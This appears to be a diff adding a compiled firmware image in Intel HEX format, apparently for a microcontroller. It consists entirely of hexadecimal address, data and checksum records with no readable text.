+:10287400FE7C2400F01F002930094A98B089300CEE +:10288400C418EA071800C081301BFE7C2400F01F26 +:102894000023300CC3782FF75C57089CF01F0021ED +:1028A400A68CEC0C1800CEE13007E06500FFFE7644 +:1028B4002400FAC4FFFE0A9B0C9CF01F001B089B1B +:1028C4000C9CF01F001A9A18E4070B082FF75907FD +:1028D400CF31E06B00FFFE7C2400F01F0013E06B9F +:1028E40000FFFE7C2400F01F0010E06B00FFFE7C64 +:1028F4002400F01F000D301BFE7C2400F01F000795 +:10290400301C2FFDE3CD80FC8000224080003092FB +:10291400800022D800000424800030DE000001087A +:102924008000220C800031C6800031E2D431FEFBED +:10293400026AE6681A809718FEF80264700AFE7C40 +:102944002400F01F0098301BFE7C2400F01F00962A +:102954003007E06600FFFE7524000C9B0A9CF01F04 +:1029640000932FF758A7CFA1301BFE7C2400F01F43 +:1029740000903008FEF9023CB288FEF9023AB288AF +:10298400300B169CF01F008DFEF80234B08CE06B07 +:1029940000FFFE7C2400F01F00853017FEF60220A5 +:1029A40030153003E06200FFFE7124003654C10884 +:1029B400069B069CF01F0081AC8C049B029CF01FBC +:1029C400007B2FF75C87E8071900E08000E50D889D +:1029D400EA081800CEE1F01F007B5BFCE08000DC1D +:1029E400581CC05130294F48B089C4C8300B337CBF +:1029F400F01F00724F27AE8CE06B00FFFE7C2400BA +:102A0400F01F006A300B329CF01F006CAE8CE06B40 +:102A140000FFFE7C2400F01F00650F88E21800FE12 +:102A2400C05130194E48B089C2D830094E28B089F7 +:102A3400300B169CF01F00614E18B08CE06B00FF49 +:102A4400FE7C2400F01F005930174DD6301530039A +:102A5400E06200FFFE7124003654C108069B069C08 +:102A6400F01F0056AC8C049B029CF01F00502FF703 +:102A74005C87E8071900E080008F0D88EA081800D9 +:102A8400CEE130074CC430150E9333704CC6E0626F +:102A940000FFFE7124000988EA081800C110C06311 +:102AA4003029F2081800C291C198069B301CF01F0F +:102AB4000043AC8C049B029CF01F003CC1E8069BC5 +:102AC400009CF01F003E069B329CF01F003CAC8C27 +:102AD400049B029CF01F0035C108069B009CF01F5C +:102AE4000037300BEA1B4000329CF01F0034AC8CE2 +:102AF400049B029CF01F002D2FF75C87FE78C350C7 +:102B0400F0071900C4800D893008F0091800CC4181 +:102B14004A9811893028F0091800C0A1F01F002A32 +:102B24005BFCC390581CC04130394A38B089300B23 +:102B340033BCF01F00224A27AE8CE06B00FFFE7C02 +:102B44002400F01F001AE06B0200310CF01F001B80 +:102B5400AE8CE06B00FFFE7C2400F01F00140F8994 +:102B64003008F0091800C171498CF01F0019C130F8 +:102B7400F01F0018301948F8B089488BE0681B0032 +:102B8400EA1800B797184868700AFE7C2400F01F02 +:102B94000005DA3AD83A0000000000F4000001040D +:102BA4008000310880003092800031C6800030DE21 +:102BB4000000010800000412800023A00000042487 +:102BC40080002634800025A8000004148000283CDE +:102BD40080002100D401F01F00093018F00C180007 +:102BE400C020D80A486811893008F0091800C020AC +:102BF400DA0AF01F0004D802800023E00000010874 +:102C040080002930EBCD4010FAC4FFF84888910CBD +:102C14004888E8EA0000F0EB0000E8EA0008F0EB7E +:102C24000008F01F0005E3CD80100000000001043F +:102C3400000000F4800029305EFD5EFDD40149B837 +:102C440011883019F2081800C170C0633029F208E5 +:102C54001800C261C20830094958B089F01F001534 +:102C64003018F00C1800C030302CD802301948F855 +:102C7400B089303CD802F01F000F3018F00C180057 +:102C8400C021D80A30294898B08930094888B089C9 +:102C9400303CD80230094858B089302CD802300969 +:102CA4004828B089303CD8020000000C000001081C +:102CB40080002BD8D401F01F0002D80280002930F4 +:102CC400EBCD40C018961697F01F001249281189C1 +:102CD4003008F0091800C031F01F001048E81189CD +:102CE4003018F0091800C040302CE3CD80C00C9C93 +:102CF400F01F000B0E9CF01F000BC061F01F000AB8 +:102D0400302CE3CD80C0F01F0008E3CF80C000006A +:102D1400800023E00000010880002CB88000229885 +:102D24008000245C80002208EBCD40C018971696E2 +:102D3400F01F0011491811893008F0091800C0313A +:102D4400F01F000F48D811893018F0091800C0404E +:102D5400302CE3CD80C00E9CF01F000AC0A00C9C58 +:102D6400F01F0009C060F01F00095F0CE3CD80C0B4 +:102D7400E3CF90C0800023E00000010880002CB85D +:102D8400800022C0800026EC800022B0EBCD408081 +:102D9400189748C811893008F0091800C031F01F8D +:102DA400000A488811893018F0091800C040302CF6 +:102DB400E3CD8080485870082FF88F08E3CF8080D7 +:102DC4000000010880002CB80000040CFE68140008 +:102DD4007009F3DCD0C191095EFCD703D401E0682B +:102DE4008A3FEA1801F7103CE0880006301CF01F07 +:102DF4000004D802300CF01F0002D80280002DD04D +:102E0400F8081605A968E028F000581BC0D0C06374 +:102E1400582BC100583BC1405EFF3019F20C0949E0 +:102E2400916991A9C1283019F20C0949915991A9C4 +:102E3400C0C83019F20C094991699199C0683019D8 +:102E4400F20C0949915991993019F20C094C912CC1 +:102E54005EFDD703D42118971694580BC031300562 +:102E6400C0D830060C950F9B0F8CF01F0006184538 +:102E74002FE72FF60C34FE9BFFF80A9CD8220000A3 +:102E840080002E04F8081605A968E028F0001699B9 +:102E9400E2190004C0703019F20C0949F1490074B8 +:102EA400C0683019F20C0949F14900781699E21901 +:102EB4000080C2401699E2190180C0903019F20CCA +:102EC4000949F14900A8F14900B8C1881699E219E5 +:102ED4000280C0903019F20C0949F14900A4F1496B +:102EE40000B8C0C81699E2190380C0803019F20CEA +:102EF4000949F14900A8F14900B4F3DBC001C1500C +:102F0400E21B0002C0703019F20C0949F149005467 +:102F1400C0683019F20C0949F14900583019F20C13 +:102F24000949F1490044C0683019F20C0949F149D2 +:102F340000483019F20C094C911C5EFCF808160587 +:102F4400A968E028F0007188F00C0A4CF9DCC00193 +:102F54005EFCC008F60816054899F2080039F7DB4C +:102F6400C0057219F20B092CF5DAC0024859F20AAD +:102F7400032AFE790800F208092A5EFC80007E40DC +:102F840080007D3CD4214918E3B80001490E300784 +:102F94000E94490C49087005FE760800C10808988B +:102FA4007C1B7C0AF608092C2FF8103AFE9BFFFCC8 +:102FB400EC0709252FF72F8E5927C0507C08580895 +:102FC400CEF1CF7BD822000080007C0080007E40C0 +:102FD40080002F5680007D3CFE780800E069008365 +:102FE400F20C010CF00C0329F2CAFFC0F00A03280A +:102FF4005808C0215EFDF0081200485AF40900394F +:10300400F008111F7219F208032C5EFC80007E4048 +:10301400F8081601100BF60C0D0A149CF4C80001F4 +:103024005C8CE04800FF5E3C5E2EF739000D3018E2 +:10303400F0091800E0880004302C5EFCE068008091 +:10304400990878183019F1D9D001F739000DF1D960 +:10305400D0813009F1D9D0E130FAF1DAD2049918EB +:103064005EF9D4013018F00B18005FBEF00A1800A6 +:103074005FB8FDE81008C030302CD8027818F1DBB6 +:10308400D021F1DAD041F1D9D3089918D80A7818A7 +:10309400EA18000F99187818E2180004C0F030E814 +:1030A400F00B1800E08B00197818B16BEA1BFFF0E5 +:1030B400E81BFFFF106B991B5EFD3038F00B180006 +:1030C400E08B000B78182F0B3019F20B094B5CDBEB +:1030D400106B991B5EFD302C5EFCE0683A98C0587A +:1030E4005808C0215EFF20187849E2190200CF90E9 +:1030F4007818EA18000F99183008EA18010099089E +:103104005EFDD703EBCD40F818951697F736000C03 +:103114003038F0061800E08B004DF734000B3018FF +:10312400F0041800E08B0046F73300083078F00311 +:103134001800E088003F3108F0031800E08B003AE3 +:10314400149B6E1CF01F001DC3453008EC091601CA +:10315400F1D9D001EC160001F1D6D021F1D4D0611F +:103164002083F1D3D084F1DCD108EF390009F1D9FF +:10317400D208EF39000AF1D9D3080F89301AF409BB +:103184001800C0E0C0A3302AF4091800C0C0303AC7 +:10319400F4091800C0E1C0A88BC8E3CF80F88BD82D +:1031A400E3CF80F88BE8E3CF80F88BF8E3CF80F8A7 +:1031B400302CE3CD80F800008000301430189908DA +:1031C4005EFCE0683A98C0585808C0215EFF201899 +:1031D4007849E2190002CF905C7B993B5EFDE06880 +:1031E4003A98C0585808C0215EFF20187849E2195F +:1031F4000201E0490201CF717828B6085EFDFE683D +:1032040000007009A7D991097009F9DCC007E01919 +:10321400FF80F9E9100991097009A7B991095EFCC9 +:10322400FE680000700CF9DCC0075EFCFE6800005C +:10323400708CF9DCC06B5EFC4828912CB06B5EFC92 +:1032440000000428F1DCC004A368E038FE40700CE0 +:10325400F9DCC2615EFCD703D401F9DCC004301888 +:10326400F00C1800E0880003D80AF8C80001A5682B +:103274004929F2080008A36CFE6A01C0F80A000993 +:103284007209E6190008C0517009E6194000C140EE +:103294007009300AF3DAD3C19109E03CFDE0E86932 +:1032A4000000990970095809C074F3DAD3E191094F +:1032B40070385D18DA0ADA0A000001B43059485847 +:1032C4009109E8690000FE6801F091095EFC0000C4 +:1032D400000001C8D401484870485808C0205D184F +:1032E400D802000000000428D40116997808580870 +:1032F400C0B4300AF1DAD3E1990878385808C040EC +:10330400782B129C5D18D802D401F1DCC00420187B +:10331400A568301B483C100CF01F0003D8020000C5 +:10332400000001B4800032ECD401F1DCC004301997 +:10333400F2081800E0880003D80AF0091502FE6BB1 +:1033440001C0F20B000A740AE21A1000C0C020186F +:10335400A56848B9F20800087009301AF3DAD3C135 +:103364009109C098E039FE10E86800009308E46809 +:1033740000009308F01F0003DA0A0000000001B403 +:103384008000330CD401FE690000727BF1DCC004C0 +:10339400301AF408094A5CDA166A937AA368E038AA +:1033A400FF007009A1D99109F01F0002D8020000A2 +:1033B4008000330CEBCD40E0F1DCC0043019F2089E +:1033C4001800E08B0078FE690000727E3019F20864 +:1033D4000949F3EE000EC6E1FDDBC002581EC6A586 +:1033E400582EE08A0006583EC6513006C0283016D2 +:1033F400F00E1502E03EFF007C075C7A3085F40590 +:103404000C4AE0650400F4050D4AA17A201AF40A76 +:103414001200F9DCC0E1AB7BE21B1800F7EC108C66 +:10342400F40B111CF9EB104BF7E6102BE21B197C83 +:103434000E9AE01AE683F7EA100A9D0AF9D9B01049 +:103444005808C121FE6900007279E2190002C0C067 +:10345400A1BCFE690000727AA1DA937AFE690104C4 +:10346400720AA1DA930A5C7CFE6E000030163017F3 +:10347400F8080849F3D9C001C150F0091502FE65E6 +:103484000100F205000B7605A1B597057C7BEC08DD +:10349400094A164A9D7AE039FED07209E6190004F9 +:1034A400C0902FF85C58EE081800FE98FFE3E3CFB5 +:1034B40090E0E3CF80E0D703580CC111491811897B +:1034C4003008F0091800C1A0E1B90000D30348E8AE +:1034D400119A2FFAB09AE3B90000C10848981189EB +:1034E4003008F0091800C0A1E1B90000D30348680E +:1034F400119A201AB09AE3B900004828B08C5EFCF7 +:10350400000001C400000750E1B80000D303301AE2 +:10351400FE690220930AE3B800003029FE680160C6 +:1035240091094859300893489358B2684839930828 +:103534005EFC000000000428000001C8303948A8DF +:103544009109E1BB0000D303FE6A016030199509BB +:10355400FE6801F09109308995099109E3BB0000E7 +:103564005EFC0000000001C8FE6800007009E0195C +:10357400FF8091097009A7B99109FE690100720BD6 +:10358400308AF40A0C4AE06C0400F40C0D4AA17A67 +:10359400201AF40A1200F40A111CA56AE21A197C12 +:1035A400E01BE683164A930A720AA1BA930A707959 +:1035B400A1A99179E1BA0000D303FE6901F0304B6F +:1035C400930B302B930BE06910009169E3BA000070 +:1035D4005EFCD703EBCD40C0E1B60000D303301C42 +:1035E400F01F0017FE680000F0F90800AFC9F149A8 +:1035F4000800F0F90804E2194000CFC0FE6700009B +:103604006E08A9C88F08F01F000FF01F000FF01FED +:10361400000F308B8F6B30198F6931088F68304AF7 +:103624008F6A8F2B8F2A8F398F28EEF80800AFA866 +:10363400EF480800E3B60000E3CD80C0800034BC4E +:10364400800071108000356C8000350CEBCD40801B +:10365400E1B80000D303301AFE690220930AE3B8EC +:1036640000004C3870085838C071F01F0042F01F39 +:103674000042E3CD80804C1890684C199207F00703 +:1036840001075C87C3B14BF9138A3009F20A1800A9 +:10369400C12130494B689109E1B90000D3033108D5 +:1036A400FE6A01609508FE6A01F09508E3B900001E +:1036B400E3CD80804B1992B95C784B3A948A140814 +:1036C4001039E08900084AD8705C580CC0305D1C81 +:1036D400C05130094AB8B089C1184AB94A88900B18 +:1036E400920AF60A000AB20A3009B0094A38906709 +:1036F400F1D7C0035F094A38B0894A08702A4A08DA +:103704009009E1BB0000D303FE6801307008E218A1 +:103714000002C0913088F0071900F9B70B08580768 +:10372400C091C158E3BB0000304949189109E3CD69 +:1037340080805C79F40900093008EA18D000133A53 +:1037440010CAF5D8C008EE0A1900CFA348C89009DA +:10375400F2070007B0073018FE6901609308FE699C +:1037640001F09308E3BB0000E3CD8080000001C8B2 +:10377400800032D88000350C00000428000001C607 +:10378400000001CC000001B0EBCD40C0F01F0037B9 +:10379400E1B60000D303FE670000EEF80800AFD8DE +:1037A400EF480800EEF80800300AE06B02204B0CEA +:1037B400F01F0030EEF80800B9B8EF480800EEF842 +:1037C4000800B9C8EF480800EEF80800ADC8EF4893 +:1037D4000800EEF80800ADA8EF480800EEF808006D +:1037E400AFB8EF480800EEF80800AFC8EF4808008B +:1037F400EEF808000E99F2F80804E2184000CFC071 +:1038040049D8700A3009F5DAC01FF5D9D3C1910A35 +:10381400FE680000700AADCA910A700AE81A0C002A +:10382400910AF0FA0800A1BAF14A0800F0FA080077 +:10383400AFAAF14A0800FE780C00F0FA0144301BEC +:10384400F5DBD001F14A014448C8B089E1B9000070 +:10385400D30348B811BA2FFAB0BAE3B90000E3B6FB +:103864000000E3CD80C0000080006A4C80003990E5 +:1038740080002F58000001B4000001C4000007506C +:10388400EBCD40FCFDDCC0043017EE0E1800E08BDD +:103894000074FE6700006E761C953017EE0E094723 +:1038A4000C67C6A0FC071502FE6401C0EE04000606 +:1038B4006C06E6160008C601FCC60001A5664B347A +:1038C400E80600066C04E6144000C561E1B300009C +:1038D400D3036C045804C054E3B30000E3CF80FC6A +:1038E400F9DCC0E86C043012E9D2D3E18D04E3B30F +:1038F4000000E049FFFFE0880007E07900008D291F +:103904003009C1188D29580CC0E0FE630100EE0394 +:1039140000046804E9D4C0833083E6040944201415 +:103924001264C2C18D1A8D38A56EE03EFD009D1A49 +:10393400580BC0313008C068580CC0313148C02819 +:103944003088E8180021F1E91109E037FF006E081A +:10395400A9B88F089D29E1B80000D30320153009C8 +:10396400EA190200F2050945FE6900009365E3B80F +:103974000000E3CF90FCE3CF80FC8D1A8D38A56E58 +:10398400E03EFD009D1ACDDB000001B4D401FE68C9 +:1039940000007018E2180004C0903049FE6800006E +:1039A4009129F01F013CE08F0263FE68000070184B +:1039B400E2181000E0800180FE68022031099109BC +:1039C40030899109FE6801307008E2180004C7E0EC +:1039D400FEF804C470085808C050F01F0130F01FEE +:1039E4000130FE6801307008F1D8C28B5888C0904D +:1039F400F01F012C3049FE6801609109E08F023804 +:103A0400FEF804A43009EA19D000720A910A304978 +:103A1400EA19D00072095CCAB01AF20A14105CCA1E +:103A2400B02A5CC9B039F01F0121C091F01F011DFB +:103A34003049FE6801609109E08F021A3049FE683E +:103A440001609109FEF8046011893008F00918003A +:103A5400C194FEF8045290E8F1D8C0035F09FEF85F +:103A6400044EB0893008FEF9044AB208FEF904484D +:103A7400B2083029FEF804209109F01F0110E08FEC +:103A840001F7FEF8042290393008F0091900C051FA +:103A9400F01F010BE08F01EC3008FEF90416B208A8 +:103AA400FEF90414B2083019FEF803EC9109310848 +:103AB400FE6901609308E1B90000D303FE6A01F0D6 +:103AC4009508E3B90000E08F01D3FE680130700867 +:103AD400F1D8C001C0B0FE6801C07008F1D8C001BF +:103AE400C050F01F00F6E08F01C3FE68013070087B +:103AF400E2180002E08000A1FEF8039C7008581848 +:103B0400C11058285F0958485F08F3E81008C040FE +:103B1400F01F00E2C038F01F00E3F01F00E1E08F67 +:103B240001A7FE680130700BF7DBC28BFEF8037847 +:103B34009069FEF803829008F9D9C010F5D8C01036 +:103B4400F60A000A143CC0441019F7D9B010FEF963 +:103B540003567229580BE08001915C7810093008F3 +:103B6400EA18D000113A12CAF5D8C008F60A1900AA +:103B7400CFA3FEF90342920816085C88B208308984 +:103B8400F20B1900C0E1FEF9031E92BAF7D8C01077 +:103B9400FEF903209289F6090009123AE089001817 +:103BA400FEF90304B268725C580CC0A05D1CC081AD +:103BB400F01F00BC3029FE6801609109C5893029D5 +:103BC400FE6801609109F01F00BEC519FEF902D814 +:103BD4009269F0091900C211FEF802CC705C580C0D +:103BE400C081F01F00B03029FE6801609109C3F95B +:103BF4005D1CC081F01F00AB3029FE680160910993 +:103C0400C369FEF902AEFEF802AE900B920AF60A00 +:103C1400000AB20A3009B009FE690160302893082D +:103C240031089308E1B90000D303FE6A01F0950856 +:103C3400E3B90000C1C9FE6801307008E218000849 +:103C4400C1803089FE6801609109FE680130700806 +:103C5400F1D8C001E081010CFEF8023C700858382C +:103C6400E0810106E8690000FE6801F09109CFF8DF +:103C7400FE6801307008E2180010C1D03109FE68F6 +:103C840001609109FE6801307008E2180002E081C9 +:103C940000EFFEF8020270085818C041F01F0088B7 +:103CA400CE685848E08100E4E8690000FE6801F04D +:103CB4009109CDD8FE6800007048E6180200C300E0 +:103CC400FE6800007018E6180200C2A03009EA1964 +:103CD4000200FE6800009159FE68031070394F9885 +:103CE400B189702A121A912AFE6801047008E21838 +:103CF4000100C071FE6801047009A9D99109C0B816 +:103D0400E0692000FE6800009169E0691000FE6827 +:103D140001F49109300B4EBCF01F006BCA88FE6899 +:103D240000007048E2182000E08000ACFE68013416 +:103D34007008F1D8C182E08100A5E0691000FE6836 +:103D440002249109E0692000FE68000091594DD8D1 +:103D540070085808C065FE6801047009A9D9910962 +:103D64004D887009F3D9C3C13008F0091800C7F0B1 +:103D74004D487009300AF3DAD3C19109FE6801F4A1 +:103D8400E86900009109E46900009109C7083089D5 +:103D9400FE6800009129301B4CACF01F004BF01F53 +:103DA400004BF01F004BF01F003EC618FE680000D9 +:103DB4007048F1D8C001C1D0FE6800007018F1D875 +:103DC400C001C170FE680000F0F90800AFC9F149F4 +:103DD40008003019915931099169F0F90800AFA927 +:103DE400F1490800300CF01F003BF01F003BC3F802 +:103DF400FE6800007048E2180010C230FE6800003F +:103E04007018E2180010C1D0FE680000F0F9080034 +:103E1400AFC9F1490800C0587019F3D9C001C06195 +:103E2400F0F90804E2194000CF80FE68000031096F +:103E34009159301C916CF01F0027F01F0028C178A5 +:103E4400FE680000F0F80804E2180002C100FE68F1 +:103E54000000F0F90800AFC9F14908003029F14920 +:103E64000808F0F90800AFA9F1490800FE6800004D +:103E7400F0F80818D402D60348F9B208FE9FFE925F +:103E8400FE6800007018E2180008C910C81B000082 +:103E9400800079BC000001C8800032D88000350C55 +:103EA400800032C00000042880007180000001CC32 +:103EB400000001B0000001C680003650800035408B +:103EC400000001B4800032EC800071108000356C79 +:103ED400800034BC800076EC8000765C48681189F0 +:103EE4003008F0091800C0205EFF31794838B089E5 +:103EF4005EFD000000000444000006D448689019E8 +:103F04003FF8F0091900C0205EFF30F94838B08945 +:103F14005EFD0000000006D0000006D4485811A839 +:103F2400E2180018C0215EFF31394838B0895EFDBF +:103F340000000444000006D4496870185808C021E1 +:103F44005EFF49591389303AF4091800C0A1E069A9 +:103F5400FFF7EA190FFF1238E08B00195F0C5EFCC3 +:103F6400302AF4091800C071E048FFF7E08B000F15 +:103F74005F0C5EFC301AF4091800C0205EFDE048B6 +:103F84000FF7E08B00045F0C5EFC302C5EFC00003D +:103F940000000724000006D0300A4888B08A488808 +:103FA4003019B0893FF9B0A9B099F16A0014F169E8 +:103FB4000016F16900155EFC000006D600000458E6 +:103FC40048C91388F80818005F1848BAB488F00A7A +:103FD4001502100AF20A0028B08C3FFBB0AB2FFA8E +:103FE400486B760BF20A092B4859721991295EFC29 +:103FF40000000458000006D6000007240000072C27 +:1040040049881188498AF008002BF40B002B178982 +:10401400179B158AF20A1800C0A1493A159AF40BA5 +:104024001800E08800052FFA48FCB89A48EAF53AE7 +:104034000014F20A1800C0C148B9F3390015F20B94 +:104044001800E08800062FF9487AF5690015F00891 +:1040540000284859F20800283009B0995EFC000095 +:10406400000006D600000458EBCD40C04908118872 +:10407400F008002848F9F2080028F0CAFFF848EBD5 +:1040840017977409F2070D060E995C59178BB0AB9C +:10409400740B121B950B489A740B121B913B741AE8 +:1040A40014099149F01F0006E3CD80C0000006D634 +:1040B40000000458000006840000072C800040041F +:1040C400EBCD40C04C1811894C18700A4C18701B69 +:1040D4004C181188F8081800C1114BF811A8F208FF +:1040E4001800C0C14BC870181438C0814BA8702880 +:1040F400103BC043300A1499C1884B78F13800143E +:10410400F8081800C5E14B48F1380016F208180009 +:10411400C5814B1870681438C5414AF87078163850 +:10412400E08B0050301A1499F20E1502120E4AACAC +:10413400F80E002C784CF6080108103CE0880016B4 +:104144004A4BF20E1502FC0900094A3EFC090029FB +:104154007239F00900099709101C971C49F8B08AB4 +:10416400F01F001FE3CF90C049C8B08AF2081502BF +:10417400F00900094988F00900283FF9B0A9704CFA +:10418400492A1599703EF80E000E201E7457FC073C +:104194000107744A1417EE090D060C972FE748CA55 +:1041A40095072F88700A140CF8C70001EE090D0654 +:1041B400AD39488AF60901099519910BE3CF80C0FE +:1041C400F01F0008E3CF80C000000684000007242D +:1041D4000000072C00000458000006D680004004AC +:1041E40080003FC430D94848B089484811ACE21C2B +:1041F40000105EFC000006D4000004443FF948C8E7 +:10420400B01948C8F1590024F139002D3008F009DB +:104214001800C05110994878F169002C4868300999 +:10422400B0A9300A911A912AB0895EFC000006D028 +:1042340000000684000004443008F00C19005F0AF2 +:1042440035C9F20C19005F09F5E91009F0091800E5 +:10425400C0205EFF32F8F00C19005F0C5EFCD7033F +:1042640048489098A578F1D8C009483C100C5EFCE9 +:10427400000006D000000484D431203D1897169520 +:1042840014965009F01F006519883009F2081800C7 +:104294005F0B3E5AF40818005F0AF7EA100AF20AA4 +:1042A4001800C071F93A000B30F9F20A1800C06026 +:1042B40030B94DB8B089300CCA984DA9138A300969 +:1042C400F20A1800C090E2180040C06131094D485C +:1042D400B089300CC9B82FFC3008FACBFFF6301186 +:1042E40030094D0220155015198AB69A199AB68AC2 +:1042F400E2061800C0F1058AF20A1800C401401E43 +:104304001C38C0553008AE88301CC8089A5AAE8A8A +:10431400C3680F8A32A5EA0A1900C7709A5E580E5C +:10432400C0E135C5EA0A19005F1432F5EA0A19003A +:104334005F15E9E50005F2051800C260E9DAC0106E +:10434400E7DEC0104005F20518005F15E6C0FFE087 +:1043540000345F10EBE01000F2001800C1002203EB +:1043640006345F140845F2051800C090FC0A1900D1 +:10437400C06031694AA8B089300CC4889A5A300E9A +:10438400FC0A1900C0B14A79138A3009F20A1800EC +:10439400C3C02FF8AE08301CC398304AF408180084 +:1043A400C0312FDCC27830AAF4081800C0312FECD9 +:1043B400C21830CAF4081800C1D1F938FFE2E21873 +:1043C4000040C06131094968B089300CC1F8301827 +:1043D400F0061800C0B1493811893008F0091800F6 +:1043E400C17030E8AE08301CC1180F9CF01F000EDD +:1043F400C0D8058AEECEFFFFF20A1800FC071700AA +:104404002FF85C582FECC71B301C2FDDD832300836 +:10441400AE98301CCFBB000080004264000006D47C +:10442400000006D58000423CD431203D1897502B23 +:10443400149631694C08B089F01F00403008109E72 +:10444400301230B33085300A3014E6081800C20048 +:10445400F8080709EA0818005F00F40218005F1B57 +:10446400E1EB000BF40B1800C051320BF6091800F5 +:10447400C101EA081800E08B000CF9390008320188 +:10448400E2091800C050307832E93002C0283009FF +:10449400E8061800C1714AAB178BF40B1800C2E18F +:1044A400402B201B163EC0353009C0A8F2C0004185 +:1044B400319BF6001800E08B00042E095C59AE898C +:1044C400C1D80F8B32A0E00B1800C3105809C0D11B +:1044D40035C0E00B18005F1132F0E00B18005F10DC +:1044E4000061F4011800C0C0F20B1800C070F2C0E3 +:1044F400FFE0003BC030300CC1B85809C0B14908D6 +:1045040011893008F0091800C1202FFEAE0E301CAE +:10451400C0F848B91389EECBFFFFF4091800F60779 +:1045240017002FFE5C5E2FF85C58C90B301C2FDD82 +:10453400D8320000000006D480004264000006D592 +:10454400D401F01F00104908F939000BB0A9F8CACA +:10455400FFECF0C9FFFC158BB29B159AB28AF8CA1E +:10456400FFE6158BB2BB159AB2AA2E4C2F88198977 +:10457400B0B91999B0A919A9B09919B9B089D802D3 +:104584008000426400000444EBCD40801897F01F83 +:10459400001719885808C06130A94958B089E3CF79 +:1045A400808030BA4929B28A3E59F2081800C1A065 +:1045B40032E9F2081800C160F938000B1099E219C9 +:1045C4000008C101E2180010C0703008F00718009C +:1045D4005F0CE3CD80803018F00718005F0CE3CD4A +:1045E4008080E3CF8080000080004264000006D415 +:1045F40048583FF9B0893009F16900083FF9913909 +:104604005EFC00000000070C30194838F16900080E +:104614005EFC00000000070CD401F01F0011F01F25 +:104624000011491811A9F969000BF8CAFFECF0C987 +:10463400FFFC139BB48B138BB49BF8CAFFE613BB2C +:10464400B48B13A9B4992E4C2F8811B9B88911A928 +:10465400B8991199B8A91188B8B8D8028000460C45 +:104664008000426400000444498811893008F0093C +:104674001800C2A04968118949681188F009180016 +:10468400C23149387089493870881039C1D14928F4 +:10469400901948E89018F0091900C161580CC0B08D +:1046A40048E811893008F0091800C0E0328948C888 +:1046B400B0895EFD48981188E2180002C050329912 +:1046C4004878B0895EFD5EFF000006CC00000684D9 +:1046D400000006D8000006D0000006BC000006D486 +:1046E400D42120DD580CC5A01A974AE8F0EA00004E +:1046F400FAEB0000F0EA0008FAEB0008F0EA001018 +:10470400FAEB0010F0EA0018FAEB0018F0EA0020C7 +:10471400FAEB0020F0EA0028FAEB002870C950C92F +:10472400F8C600015C56EC04103449F91204334510 +:104734000A9A089B109CF01F001D0A9A1A9B089C59 +:10474400F01F001A49ACF8E80000FAE90000F8E8A4 +:104754000008FAE90008EC0415044968100431055E +:104764000A9A089BF01F00110A9A1A9B089CF01FD2 +:10477400000F491430450A9A089B1A9CF01F000B3D +:1047840048E8F00600260A9A0C9B089CF01F0007D4 +:104794000A9A1A9B0C9CF01F00052F3DD82200009A +:1047A40000000684000006D8800079FA0000044462 +:1047B400000006BC000006D0000006CCD401490865 +:1047C400F13900083018F0091800C18148C83009CF +:1047D400F1690008118CF01F000BC050314948A842 +:1047E400B089D80A4868489A701B118CF01F0008D9 +:1047F400C05030194848B089D80ADA0A0000070CBA +:1048040080006AF0000006D40000048480006B0479 +:10481400D401E06A0200300B482CF01F0003D802D8 +:104824000000048480007B42EBCD408018974978D7 +:10483400118949781188F0091800C0914938701914 +:10484400494870081039C031E3CF9080F01F00123E +:10485400C190F01F001248F8700B48C8911B58070C +:10486400C0C048FA48A8118CF01F000EC06030196F +:1048740048D8B089E3CF8080485811894838B08936 +:10488400301CE3CD808000000000070C000006848B +:1048940000000440800047C0800045F40000048408 +:1048A40080006B40000006D4D40149F811893038E7 +:1048B400F0091800C06149D890092FC9B009C0583F +:1048C40049A890092FE9B00949889009E0680200D5 +:1048D400F0091900C0C130094948B00949487009B4 +:1048E4002FF99109301CF01F0013C1B049282FC8BB +:1048F40048E99289491AF409070BB0BB120A159AC0 +:10490400B0AA489A158B303AF40B1800C020DA0A82 +:1049140048AAF409000913AAB09A13B9B089301C43 +:10492400D8020000000006D0000004540000044037 +:104934008000482C0000072400000484D43118951A +:10494400FEF8021811883039F2081800C0D1FEFAB6 +:10495400020E7409A79915BBF7DBC007A36BFEFA17 +:104964000202B40BC2083029F2081800C0814FCAF1 +:1049740015A915BBA17B4FBAB40BC1583019F20865 +:104984001800C0303009C0F84F5972094F5AF7D98E +:10499400C02F120BB40BF7DBC108F6091601F7DBC5 +:1049A400C001B48B5805C2204EFA740A1439C032BF +:1049B4004EDA95094EDA740A1439E08800044EBAC6 +:1049C4009509301AF4081800C1114E68900AE0687D +:1049D40001FFF00A1900C0A1F2C8FFFF4E3A740AA1 +:1049E4001438E08800044E1A95084E1870481009CF +:1049F4004E089109301CF01F0060E08000AD4D9816 +:104A04009008EDD8C0104DD912060C970F320F8BB9 +:104A1400ECC4FFFE0981ECC3FFFD07804CF9138A47 +:104A24003019F20A1800C111E06901FFF2081900F7 +:104A3400C0C14D0870092FF99109301CF01F004EB8 +:104A4400E080008A4CD8118B5805C3114C48F0C93A +:104A5400FFFCF0CCFFF9B8822FA8B08B4BFA158A73 +:104A6400303BF60A1800C061B291E1D0C004B280B4 +:104A7400DA3A300BB29BB28B3019F20A1800C0201C +:104A8400DA3A4B7913B9F3D9C001C0C0198BA58B9D +:104A94001189F20A1504F60A000AB88AA589B089B0 +:104AA400DA3A1189F3D9C004B089DA3A4AB81188DC +:104AB4003019F2081800C3A14A9811B8F1D8C001FE +:104AC400C110EBD2C0044A682FC811B9F20A150408 +:104AD40014055C55A58911A8A568F208000A5C5A5A +:104AE400C0C849F82FC811B5169AE21A00F011A8E7 +:104AF400F1D8C004100A5C5A49A89009E06801FF83 +:104B0400F0091900C23149D8B08AF01F001D499834 +:104B1400700920199109301CF01F0017C1C0497891 +:104B2400F16501FFF01F0016DA3A48D92FC913B511 +:104B340013AA303BF6081800C0911398A888E01017 +:104B4400FFF01388F0000000A680AC85AE8AF01F49 +:104B5400000CDA3AD83A0000000006D0000007241E +:104B640000000454000006B800000480000006841D +:104B7400000004408000482C000004848000460C9F +:104B8400D431202D189316973089FEF8028EB089FF +:104B94003038F00C18005F0A500AFEF902821389BB +:104BA400F00918005F08F5E80008C0603FFCF01F3A +:104BB400009DE080012FFEF8026E70085808C3B112 +:104BC40040095809E0810126FEF802541188F0CA10 +:104BD40000013019F20A1800E08B0023FEF80248A5 +:104BE4007018FEF90246F319001A1238C132FEF9A0 +:104BF4000236FEFA0236744B1608F51B0018160826 +:104C04009308F51A001A7218F40801089318301C56 +:104C1400C01931A9FEF80204B089300CCFB830397C +:104C2400F2081800C0A1FEF802027069FEF8020042 +:104C34009109C0384FE993083038F0031800C07068 